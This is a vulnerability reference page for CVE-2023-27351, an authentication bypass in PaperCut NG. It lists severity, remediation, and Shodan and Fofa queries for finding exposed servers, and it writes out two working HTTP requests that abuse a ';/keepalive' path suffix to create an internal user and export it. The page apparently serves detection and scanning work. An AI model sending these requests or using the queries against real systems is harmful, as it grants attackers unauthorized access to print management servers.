🔙 목록으로 돌아가기

CVE-2023-27351: PaperCut NG - Authentication Bypass

TitlePaperCut NG - Authentication Bypass
Authordaffainfo,jjcho
SeverityHigh
ImpactAttackers can bypass authentication, gaining unauthorized access to the system and potentially executing malicious actions.
RemediationUpdate to the latest version of PaperCut NG that addresses this issue or apply the security patch provided by the vendor.
CVSS Score8.2
EPSS Score0.47366
CVE IDCVE-2023-27351
CWE IDCWE-287
Shodan Queryhttp.html:"PaperCut"http.html:"papercut"http.html:"content=\"papercut\""cpe:"cpe:2.3:a:papercut:papercut_mf"
Fofa Querybody="papercut"body="content=\"papercut\""
Tags cve2023 cve papercut auth-bypass vkev

🔍 Vulnerability Description

This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.

🌐 HTTP Request

POST /rpc/api/rest/master/user/createInternalUser;/keepalive HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Content-Length: 47
Content-Type: application/json
Accept-Encoding: gzip

{"username":["iDOJhM"],"password":["p7466egi"]}
POST /rpc/api/rest/master/user/getExportedUser;/keepalive HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Content-Length: 23
Content-Type: application/json
Accept-Encoding: gzip

{"username":["iDOJhM"]}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27351.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-27351.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A